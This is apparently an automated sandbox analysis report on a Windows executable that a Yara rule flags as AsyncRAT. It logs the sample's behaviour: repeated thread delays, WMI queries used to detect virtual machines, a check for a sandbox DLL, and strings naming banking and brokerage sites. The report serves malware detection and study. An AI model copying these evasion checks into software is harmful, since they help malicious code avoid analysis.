Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: cOH7jKmo25.exe, type: SAMPLE
Source: Yara match	File source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: cOH7jKmo25.exe

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Memory allocated: 2930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Memory allocated: 2B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Memory allocated: 4B60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599651	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599544	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599250	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599099	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598325	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597012	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596789	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596534	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596382	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595374	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595139	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594344	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594219	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594109	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 593888	Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Window / User API: threadDelayed 2561			Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Window / User API: threadDelayed 7278			Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -599651s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -599544s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -599250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -599099s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -598325s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -597012s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -596905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -596789s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -596534s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -596382s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -596266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -596046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -595594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -595484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -595374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -595250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -595139s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -594797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -594688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -594563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -594453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -594344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -594219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -594109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -594000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe TID: 7964	Thread sleep time: -593888s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599651	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599544	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599250	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 599099	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598325	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 597012	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596789	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596534	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596382	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595374	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595139	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594344	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594219	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594109	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Thread delayed: delay time: 593888	Jump to behavior

Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: cOH7jKmo25.exe, 00000000.00000002.2569585883.0000000005228000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: cOH7jKmo25.exe	Binary or memory string: vmware
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
